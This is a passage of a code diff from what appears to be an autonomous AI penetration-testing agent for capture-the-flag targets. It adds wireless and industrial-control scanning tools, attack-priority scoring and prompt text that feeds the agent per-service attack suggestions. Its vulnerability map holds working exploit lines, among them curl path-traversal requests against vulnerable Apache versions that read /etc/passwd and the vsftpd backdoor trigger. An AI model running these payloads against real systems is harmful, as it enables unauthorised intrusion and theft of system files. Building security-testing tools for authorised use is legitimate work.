7668
|
+
var API_CONFIG = {
|
|
7669
|
+
name: SERVICE_CATEGORIES.API,
|
|
7670
|
+
description: "API testing - REST, GraphQL, SOAP",
|
|
7671
|
+
tools: API_TOOLS,
|
|
7672
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7673
|
+
defaultApproval: APPROVAL_LEVELS.CONFIRM,
|
|
7674
|
+
commonPorts: [3e3, 5e3, 8e3, 8080],
|
|
7675
|
+
commonServices: [SERVICES.HTTP, SERVICES.HTTPS]
|
|
7676
|
+
};
|
|
7677
|
+
|
|
7678
|
+
// src/domains/wireless/tools.ts
|
|
7679
|
+
var WIRELESS_TOOLS = [
|
|
7680
|
+
{
|
|
7681
|
+
name: TOOL_NAMES.WIFI_SCAN,
|
|
7682
|
+
description: "WiFi network scanning",
|
|
7683
|
+
parameters: {
|
|
7684
|
+
interface: { type: "string", description: "Wireless interface" }
|
|
7685
|
+
},
|
|
7686
|
+
required: ["interface"],
|
|
7687
|
+
execute: async (params) => {
|
|
7688
|
+
return await runCommand("iwlist", [params.interface, "scanning"]);
|
|
7689
|
+
}
|
|
7690
|
+
}
|
|
7691
|
+
];
|
|
7692
|
+
var WIRELESS_CONFIG = {
|
|
7693
|
+
name: SERVICE_CATEGORIES.WIRELESS,
|
|
7694
|
+
description: "Wireless security - WiFi, Bluetooth",
|
|
7695
|
+
tools: WIRELESS_TOOLS,
|
|
7696
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7697
|
+
defaultApproval: APPROVAL_LEVELS.REVIEW,
|
|
7698
|
+
commonPorts: [],
|
|
7699
|
+
commonServices: [SERVICES.WIFI, SERVICES.BLUETOOTH]
|
|
7700
|
+
};
|
|
7701
|
+
|
|
7702
|
+
// src/domains/ics/tools.ts
|
|
7703
|
+
var ICS_TOOLS = [
|
|
7704
|
+
{
|
|
7705
|
+
name: TOOL_NAMES.MODBUS_ENUM,
|
|
7706
|
+
description: "Modbus enumeration",
|
|
7707
|
+
parameters: {
|
|
7708
|
+
target: { type: "string", description: "ICS Device" }
|
|
7709
|
+
},
|
|
7710
|
+
required: ["target"],
|
|
7711
|
+
execute: async (params) => {
|
|
7712
|
+
return await runCommand("nmap", ["-p", "502", "--script", "modbus-discover", params.target]);
|
|
7713
|
+
}
|
|
7714
|
+
}
|
|
7715
|
+
];
|
|
7716
|
+
var ICS_CONFIG = {
|
|
7717
|
+
name: SERVICE_CATEGORIES.ICS,
|
|
7718
|
+
description: "Industrial control systems - Modbus, DNP3, EtherNet/IP",
|
|
7719
|
+
tools: ICS_TOOLS,
|
|
7720
|
+
dangerLevel: DANGER_LEVELS.ACTIVE,
|
|
7721
|
+
defaultApproval: APPROVAL_LEVELS.BLOCK,
|
|
7722
|
+
commonPorts: [502, 2e4],
|
|
7723
|
+
commonServices: [SERVICES.MODBUS, SERVICES.DNP3]
|
|
7724
|
+
};
|
|
7725
|
+
|
|
7124
7726
|
// src/engine/tools.ts
|
|
7125
7727
|
var ToolRegistry = class {
|
|
7126
7728
|
constructor(state, scopeGuard, approvalGate, events) {
|
|
@@ -7134,10 +7736,23 @@ var ToolRegistry = class {
|
|
|
7134
7736
|
initializeRegistry() {
|
|
7135
7737
|
const allTools = [
|
|
7136
7738
|
...systemTools,
|
|
7137
|
-
...createPentestTools(this.state),
|
|
7739
|
+
...createPentestTools(this.state, this.events),
|
|
7138
7740
|
...createAgentTools(),
|
|
7139
7741
|
...createNetworkAttackTools(),
|
|
7140
|
-
...resourceTools
|
|
7742
|
+
...resourceTools,
|
|
7743
|
+
// Domain-specific tools (§3-3)
|
|
7744
|
+
...NETWORK_TOOLS,
|
|
7745
|
+
...WEB_TOOLS,
|
|
7746
|
+
...DATABASE_TOOLS,
|
|
7747
|
+
...AD_TOOLS,
|
|
7748
|
+
...EMAIL_TOOLS,
|
|
7749
|
+
...REMOTE_ACCESS_TOOLS,
|
|
7750
|
+
...FILE_SHARING_TOOLS,
|
|
7751
|
+
...CLOUD_TOOLS,
|
|
7752
|
+
...CONTAINER_TOOLS,
|
|
7753
|
+
...API_TOOLS,
|
|
7754
|
+
...WIRELESS_TOOLS,
|
|
7755
|
+
...ICS_TOOLS
|
|
7141
7756
|
];
|
|
7142
7757
|
allTools.forEach((t) => this.tools.set(t.name, t));
|
|
7143
7758
|
}
|
|
@@ -8979,22 +9594,22 @@ Please decide how to handle this error and continue.`;
|
|
|
8979
9594
|
/** Tools that are safe to run in parallel (read-only or per-key state mutations) */
|
|
8980
9595
|
static PARALLEL_SAFE_TOOLS = /* @__PURE__ */ new Set([
|
|
8981
9596
|
// Read-only intelligence tools
|
|
8982
|
-
|
|
8983
|
-
|
|
8984
|
-
|
|
8985
|
-
|
|
8986
|
-
|
|
8987
|
-
|
|
8988
|
-
|
|
8989
|
-
|
|
8990
|
-
|
|
8991
|
-
|
|
9597
|
+
TOOL_NAMES.GET_STATE,
|
|
9598
|
+
TOOL_NAMES.PARSE_NMAP,
|
|
9599
|
+
TOOL_NAMES.SEARCH_CVE,
|
|
9600
|
+
TOOL_NAMES.WEB_SEARCH,
|
|
9601
|
+
TOOL_NAMES.BROWSE_URL,
|
|
9602
|
+
TOOL_NAMES.READ_FILE,
|
|
9603
|
+
TOOL_NAMES.GET_OWASP_KNOWLEDGE,
|
|
9604
|
+
TOOL_NAMES.GET_WEB_ATTACK_SURFACE,
|
|
9605
|
+
TOOL_NAMES.GET_CVE_INFO,
|
|
9606
|
+
TOOL_NAMES.FILL_FORM,
|
|
8992
9607
|
// State recording (per-key mutations, no external side effects)
|
|
8993
|
-
|
|
8994
|
-
|
|
8995
|
-
|
|
8996
|
-
|
|
8997
|
-
|
|
9608
|
+
TOOL_NAMES.ADD_TARGET,
|
|
9609
|
+
TOOL_NAMES.ADD_FINDING,
|
|
9610
|
+
TOOL_NAMES.ADD_LOOT,
|
|
9611
|
+
TOOL_NAMES.UPDATE_MISSION,
|
|
9612
|
+
TOOL_NAMES.UPDATE_TODO
|
|
8998
9613
|
]);
|
|
8999
9614
|
async processToolCalls(toolCalls, progress) {
|
|
9000
9615
|
if (toolCalls.length <= 1) {
|
|
@@ -9308,6 +9923,233 @@ function getTimeAdaptiveStrategy(elapsedMs, deadlineMs) {
|
|
|
9308
9923
|
};
|
|
9309
9924
|
}
|
|
9310
9925
|
|
|
9926
|
+
// src/shared/constants/service-ports.ts
|
|
9927
|
+
var SERVICE_PORTS = {
|
|
9928
|
+
SSH: 22,
|
|
9929
|
+
FTP: 21,
|
|
9930
|
+
TELNET: 23,
|
|
9931
|
+
SMTP: 25,
|
|
9932
|
+
DNS: 53,
|
|
9933
|
+
HTTP: 80,
|
|
9934
|
+
POP3: 110,
|
|
9935
|
+
IMAP: 143,
|
|
9936
|
+
SMB_NETBIOS: 139,
|
|
9937
|
+
SMB: 445,
|
|
9938
|
+
HTTPS: 443,
|
|
9939
|
+
MSSQL: 1433,
|
|
9940
|
+
MYSQL: 3306,
|
|
9941
|
+
RDP: 3389,
|
|
9942
|
+
POSTGRESQL: 5432,
|
|
9943
|
+
REDIS: 6379,
|
|
9944
|
+
HTTP_ALT: 8080,
|
|
9945
|
+
HTTPS_ALT: 8443,
|
|
9946
|
+
MONGODB: 27017,
|
|
9947
|
+
ELASTICSEARCH: 9200,
|
|
9948
|
+
MEMCACHED: 11211,
|
|
9949
|
+
NODE_DEFAULT: 3e3,
|
|
9950
|
+
FLASK_DEFAULT: 5e3,
|
|
9951
|
+
DJANGO_DEFAULT: 8e3
|
|
9952
|
+
};
|
|
9953
|
+
var CRITICAL_SERVICE_PORTS = [
|
|
9954
|
+
SERVICE_PORTS.SSH,
|
|
9955
|
+
SERVICE_PORTS.RDP,
|
|
9956
|
+
SERVICE_PORTS.MYSQL,
|
|
9957
|
+
SERVICE_PORTS.POSTGRESQL,
|
|
9958
|
+
SERVICE_PORTS.REDIS,
|
|
9959
|
+
SERVICE_PORTS.MONGODB
|
|
9960
|
+
];
|
|
9961
|
+
var NO_AUTH_CRITICAL_PORTS = [
|
|
9962
|
+
SERVICE_PORTS.REDIS,
|
|
9963
|
+
SERVICE_PORTS.MONGODB,
|
|
9964
|
+
SERVICE_PORTS.ELASTICSEARCH,
|
|
9965
|
+
SERVICE_PORTS.MEMCACHED
|
|
9966
|
+
];
|
|
9967
|
+
var WEB_SERVICE_PORTS = [
|
|
9968
|
+
SERVICE_PORTS.HTTP,
|
|
9969
|
+
SERVICE_PORTS.HTTPS,
|
|
9970
|
+
SERVICE_PORTS.HTTP_ALT,
|
|
9971
|
+
SERVICE_PORTS.HTTPS_ALT,
|
|
9972
|
+
SERVICE_PORTS.NODE_DEFAULT,
|
|
9973
|
+
SERVICE_PORTS.FLASK_DEFAULT,
|
|
9974
|
+
SERVICE_PORTS.DJANGO_DEFAULT
|
|
9975
|
+
];
|
|
9976
|
+
var PLAINTEXT_HTTP_PORTS = [
|
|
9977
|
+
SERVICE_PORTS.HTTP,
|
|
9978
|
+
SERVICE_PORTS.HTTP_ALT,
|
|
9979
|
+
SERVICE_PORTS.NODE_DEFAULT
|
|
9980
|
+
];
|
|
9981
|
+
var DATABASE_PORTS = [
|
|
9982
|
+
SERVICE_PORTS.MYSQL,
|
|
9983
|
+
SERVICE_PORTS.POSTGRESQL,
|
|
9984
|
+
SERVICE_PORTS.MSSQL,
|
|
9985
|
+
SERVICE_PORTS.MONGODB,
|
|
9986
|
+
SERVICE_PORTS.REDIS
|
|
9987
|
+
];
|
|
9988
|
+
var SMB_PORTS = [
|
|
9989
|
+
SERVICE_PORTS.SMB,
|
|
9990
|
+
SERVICE_PORTS.SMB_NETBIOS
|
|
9991
|
+
];
|
|
9992
|
+
|
|
9993
|
+
// src/shared/constants/scoring.ts
|
|
9994
|
+
var ATTACK_SCORING = {
|
|
9995
|
+
/** Base score for all attack prioritization */
|
|
9996
|
+
BASE_SCORE: 50,
|
|
9997
|
+
/** Maximum possible score */
|
|
9998
|
+
MAX_SCORE: 100,
|
|
9999
|
+
/** Bonus for critical infrastructure services (SSH, RDP, DB, etc.) */
|
|
10000
|
+
CRITICAL_SERVICE_BONUS: 20,
|
|
10001
|
+
/** Bonus when service version is known (enables CVE lookup) */
|
|
10002
|
+
VERSION_KNOWN_BONUS: 15,
|
|
10003
|
+
/** Bonus when known critical CVE exists for the service version */
|
|
10004
|
+
CRITICAL_CVE_BONUS: 30,
|
|
10005
|
+
/** Bonus for sensitive services running without authentication */
|
|
10006
|
+
NO_AUTH_BONUS: 25,
|
|
10007
|
+
/** Bonus for plaintext HTTP on service ports (no HTTPS) */
|
|
10008
|
+
PLAINTEXT_HTTP_BONUS: 10
|
|
10009
|
+
};
|
|
10010
|
+
|
|
10011
|
+
// src/shared/utils/attack-knowledge-base.ts
|
|
10012
|
+
var SERVICE_VULN_MAP = {
|
|
10013
|
+
// Apache
|
|
10014
|
+
"apache/2.4.49": {
|
|
10015
|
+
cves: ["CVE-2021-41773"],
|
|
10016
|
+
exploits: ['curl --path-as-is "http://TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"'],
|
|
10017
|
+
priority: "critical",
|
|
10018
|
+
checks: ["Path traversal to RCE"]
|
|
10019
|
+
},
|
|
10020
|
+
"apache/2.4.50": {
|
|
10021
|
+
cves: ["CVE-2021-42013"],
|
|
10022
|
+
exploits: ['curl --path-as-is "http://TARGET/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"'],
|
|
10023
|
+
priority: "critical",
|
|
10024
|
+
checks: ["Path traversal bypass"]
|
|
10025
|
+
},
|
|
10026
|
+
// SSH
|
|
10027
|
+
"openssh/7.2": {
|
|
10028
|
+
cves: ["CVE-2016-10009", "CVE-2016-10010"],
|
|
10029
|
+
exploits: ["Check for Roaming auth bypass"],
|
|
10030
|
+
priority: "medium",
|
|
10031
|
+
checks: ["Version disclosure", "Weak algorithms"]
|
|
10032
|
+
},
|
|
10033
|
+
// vsftpd
|
|
10034
|
+
"vsftpd/2.3.4": {
|
|
10035
|
+
cves: ["CVE-2011-2523"],
|
|
10036
|
+
exploits: ["Connect with username containing :) to trigger backdoor on port 6200"],
|
|
10037
|
+
priority: "critical",
|
|
10038
|
+
checks: ["Backdoor trigger: user:)"]
|
|
10039
|
+
},
|
|
10040
|
+
// SMB
|
|
10041
|
+
"samba/3.0": {
|
|
10042
|
+
cves: ["CVE-2004-0882"],
|
|
10043
|
+
exploits: ["trans2open exploit"],
|
|
10044
|
+
priority: "high",
|
|
10045
|
+
checks: ["SMBv1 enabled"]
|
|
10046
|
+
},
|
|
10047
|
+
"smb": {
|
|
10048
|
+
cves: ["MS17-010"],
|
|
10049
|
+
exploits: ["EternalBlue exploit"],
|
|
10050
|
+
priority: "critical",
|
|
10051
|
+
checks: ["nmap --script smb-vuln-ms17-010"]
|
|
10052
|
+
},
|
|
10053
|
+
// MySQL
|
|
10054
|
+
"mysql/5.0": {
|
|
10055
|
+
cves: ["CVE-2012-2122"],
|
|
10056
|
+
exploits: ["MariaDB/CMySQL authentication bypass"],
|
|
10057
|
+
priority: "high",
|
|
10058
|
+
checks: ["Try root without password", "mysql -u root"]
|
|
10059
|
+
},
|
|
10060
|
+
// Redis
|
|
10061
|
+
"redis": {
|
|
10062
|
+
cves: [],
|
|
10063
|
+
exploits: ["Unauthenticated RCE via CONFIG SET dir + SLAVEOF"],
|
|
10064
|
+
priority: "critical",
|
|
10065
|
+
checks: ["redis-cli -h TARGET ping", "CONFIG GET dir"]
|
|
10066
|
+
},
|
|
10067
|
+
// Jenkins
|
|
10068
|
+
"jenkins": {
|
|
10069
|
+
cves: [],
|
|
10070
|
+
exploits: ["Script Console RCE", "CVE-2019-1003000"],
|
|
10071
|
+
priority: "high",
|
|
10072
|
+
checks: ["/scriptText endpoint", "/manage/scriptConsole"]
|
|
10073
|
+
},
|
|
10074
|
+
// Elasticsearch
|
|
10075
|
+
"elasticsearch/1": {
|
|
10076
|
+
cves: ["CVE-2014-3120"],
|
|
10077
|
+
exploits: ["Groovy sandbox bypass RCE"],
|
|
10078
|
+
priority: "critical",
|
|
10079
|
+
checks: ["Dynamic script execution"]
|
|
10080
|
+
}
|
|
10081
|
+
};
|
|
10082
|
+
|
|
10083
|
+
// src/shared/utils/attack-intelligence.ts
|
|
10084
|
+
function calculateAttackPriority(findings) {
|
|
10085
|
+
let score = ATTACK_SCORING.BASE_SCORE;
|
|
10086
|
+
if (CRITICAL_SERVICE_PORTS.includes(findings.port)) {
|
|
10087
|
+
score += ATTACK_SCORING.CRITICAL_SERVICE_BONUS;
|
|
10088
|
+
}
|
|
10089
|
+
if (findings.version) {
|
|
10090
|
+
score += ATTACK_SCORING.VERSION_KNOWN_BONUS;
|
|
10091
|
+
const key = `${findings.service.toLowerCase()}/${findings.version.split(".")[0]}`;
|
|
10092
|
+
if (SERVICE_VULN_MAP[key]?.priority === "critical") {
|
|
10093
|
+
score += ATTACK_SCORING.CRITICAL_CVE_BONUS;
|
|
10094
|
+
}
|
|
10095
|
+
}
|
|
10096
|
+
if (!findings.hasAuth && NO_AUTH_CRITICAL_PORTS.includes(findings.port)) {
|
|
10097
|
+
score += ATTACK_SCORING.NO_AUTH_BONUS;
|
|
10098
|
+
}
|
|
10099
|
+
if (PLAINTEXT_HTTP_PORTS.includes(findings.port) && !findings.isHttps) {
|
|
10100
|
+
score += ATTACK_SCORING.PLAINTEXT_HTTP_BONUS;
|
|
10101
|
+
}
|
|
10102
|
+
return Math.min(score, ATTACK_SCORING.MAX_SCORE);
|
|
10103
|
+
}
|
|
10104
|
+
function getAttacksForService(service, port) {
|
|
10105
|
+
const attacks = [];
|
|
10106
|
+
const svc = service.toLowerCase();
|
|
10107
|
+
if (WEB_SERVICE_PORTS.includes(port)) {
|
|
10108
|
+
attacks.push(
|
|
10109
|
+
"OWASP-A01: Directory brute force",
|
|
10110
|
+
"OWASP-A03: SQLi testing",
|
|
10111
|
+
"OWASP-A03: XSS testing",
|
|
10112
|
+
"OWASP-A05: Header analysis",
|
|
10113
|
+
"OWASP-A10: SSRF testing",
|
|
10114
|
+
"OWASP-A06: Version fingerprinting"
|
|
10115
|
+
);
|
|
10116
|
+
}
|
|
10117
|
+
if (port === SERVICE_PORTS.SSH || svc.includes("ssh")) {
|
|
10118
|
+
attacks.push(
|
|
10119
|
+
"SSH version scan",
|
|
10120
|
+
"Brute force common credentials",
|
|
10121
|
+
"SSH key enumeration",
|
|
10122
|
+
"Check for weak algorithms"
|
|
10123
|
+
);
|
|
10124
|
+
}
|
|
10125
|
+
if (SMB_PORTS.includes(port) || svc.includes("smb")) {
|
|
10126
|
+
attacks.push(
|
|
10127
|
+
"MS17-010 EternalBlue check",
|
|
10128
|
+
"SMB enumeration",
|
|
10129
|
+
"Null session test",
|
|
10130
|
+
"Share enumeration"
|
|
10131
|
+
);
|
|
10132
|
+
}
|
|
10133
|
+
if (DATABASE_PORTS.includes(port) || svc.includes("sql") || svc.includes("mongo") || svc.includes("redis")) {
|
|
10134
|
+
attacks.push(
|
|
10135
|
+
"Default credential test",
|
|
10136
|
+
"Unauthenticated access check",
|
|
10137
|
+
"SQLi through web app",
|
|
10138
|
+
"UDF injection",
|
|
10139
|
+
"NoSQL injection"
|
|
10140
|
+
);
|
|
10141
|
+
}
|
|
10142
|
+
if (port === SERVICE_PORTS.FTP || svc.includes("ftp")) {
|
|
10143
|
+
attacks.push(
|
|
10144
|
+
"Anonymous login test",
|
|
10145
|
+
"Brute force credentials",
|
|
10146
|
+
"VSFTPD backdoor check",
|
|
10147
|
+
"Directory traversal"
|
|
10148
|
+
);
|
|
10149
|
+
}
|
|
10150
|
+
return attacks;
|
|
10151
|
+
}
|
|
10152
|
+
|
|
9311
10153
|
// src/agents/prompt-builder.ts
|
|
9312
10154
|
var __dirname4 = dirname5(fileURLToPath4(import.meta.url));
|
|
9313
10155
|
var PROMPTS_DIR = join10(__dirname4, "prompts");
|
|
@@ -9371,6 +10213,7 @@ var PromptBuilder = class {
|
|
|
9371
10213
|
* 8. Time awareness + adaptive strategy (#8)
|
|
9372
10214
|
* 9. Challenge analysis (#2: Auto-Prompter)
|
|
9373
10215
|
* 10. Attack graph (#6: recommended attack chains)
|
|
10216
|
+
* 10b. Attack intelligence — per-service attack suggestions
|
|
9374
10217
|
* 11. Working memory (#12: failed/succeeded attempts)
|
|
9375
10218
|
* 12. Session timeline (#12: episodic memory)
|
|
9376
10219
|
* 13. Learned techniques (#7: dynamic technique library)
|
|
@@ -9392,6 +10235,8 @@ var PromptBuilder = class {
|
|
|
9392
10235
|
// #2
|
|
9393
10236
|
this.getAttackGraphFragment(),
|
|
9394
10237
|
// #6
|
|
10238
|
+
this.getAttackIntelligenceFragment(),
|
|
10239
|
+
// service-specific attacks
|
|
9395
10240
|
this.getWorkingMemoryFragment(),
|
|
9396
10241
|
// #12
|
|
9397
10242
|
this.getEpisodicMemoryFragment(),
|
|
@@ -9545,6 +10390,30 @@ ${strategy.directive}
|
|
|
9545
10390
|
getAttackGraphFragment() {
|
|
9546
10391
|
return this.state.attackGraph.toPrompt();
|
|
9547
10392
|
}
|
|
10393
|
+
// --- Attack Intelligence: per-service bootstrapped attack suggestions ---
|
|
10394
|
+
getAttackIntelligenceFragment() {
|
|
10395
|
+
const targets = this.state.getAllTargets();
|
|
10396
|
+
if (targets.length === 0) return "";
|
|
10397
|
+
const lines = [];
|
|
10398
|
+
for (const target of targets) {
|
|
10399
|
+
for (const port of target.ports) {
|
|
10400
|
+
const attacks = getAttacksForService(port.service || "", port.port);
|
|
10401
|
+
if (attacks.length === 0) continue;
|
|
10402
|
+
const priority = calculateAttackPriority({
|
|
10403
|
+
service: port.service || "",
|
|
10404
|
+
version: port.version,
|
|
10405
|
+
port: port.port
|
|
10406
|
+
});
|
|
10407
|
+
lines.push(`[${target.ip}:${port.port}] ${port.service || "unknown"} (priority: ${priority}/100)`);
|
|
10408
|
+
attacks.forEach((a) => lines.push(` - ${a}`));
|
|
10409
|
+
}
|
|
10410
|
+
}
|
|
10411
|
+
if (lines.length === 0) return "";
|
|
10412
|
+
return `<attack-intelligence>
|
|
10413
|
+
Bootstrap attack suggestions (try these first, adapt if they fail):
|
|
10414
|
+
${lines.join("\n")}
|
|
10415
|
+
</attack-intelligence>`;
|
|
10416
|
+
}
|
|
9548
10417
|
// --- Improvement #12: Working Memory ---
|
|
9549
10418
|
getWorkingMemoryFragment() {
|
|
9550
10419
|
return this.state.workingMemory.toPrompt();
|
|
@@ -10171,6 +11040,16 @@ var useAgentEvents = (agent, eventsRef, state) => {
|
|
|
10171
11040
|
const onFlagFound = (e) => {
|
|
10172
11041
|
addMessage("system", `\u{1F3F4} FLAG FOUND: ${e.data.flag} (total: ${e.data.totalFlags})`);
|
|
10173
11042
|
};
|
|
11043
|
+
const onPhaseChange = (e) => {
|
|
11044
|
+
addMessage("system", `\u{1F504} Phase: ${e.data.fromPhase} \u2192 ${e.data.toPhase} (${e.data.reason})`);
|
|
11045
|
+
const s = agent.getState();
|
|
11046
|
+
setStats({
|
|
11047
|
+
phase: e.data.toPhase,
|
|
11048
|
+
targets: s.getTargets().size,
|
|
11049
|
+
findings: s.getFindings().length,
|
|
11050
|
+
todo: s.getTodo().length
|
|
11051
|
+
});
|
|
11052
|
+
};
|
|
10174
11053
|
setInputHandler((p) => {
|
|
10175
11054
|
return new Promise((resolve) => {
|
|
10176
11055
|
const isPassword = /password|passphrase/i.test(p);
|
|
@@ -10224,6 +11103,7 @@ var useAgentEvents = (agent, eventsRef, state) => {
|
|
|
10224
11103
|
events.on(EVENT_TYPES.RETRY, onRetry);
|
|
10225
11104
|
events.on(EVENT_TYPES.USAGE_UPDATE, onUsageUpdate);
|
|
10226
11105
|
events.on(EVENT_TYPES.FLAG_FOUND, onFlagFound);
|
|
11106
|
+
events.on(EVENT_TYPES.PHASE_CHANGE, onPhaseChange);
|
|
10227
11107
|
events.on(EVENT_TYPES.STATE_CHANGE, updateStats);
|
|
10228
11108
|
events.on(EVENT_TYPES.START, updateStats);
|
|
10229
11109
|
updateStats();
|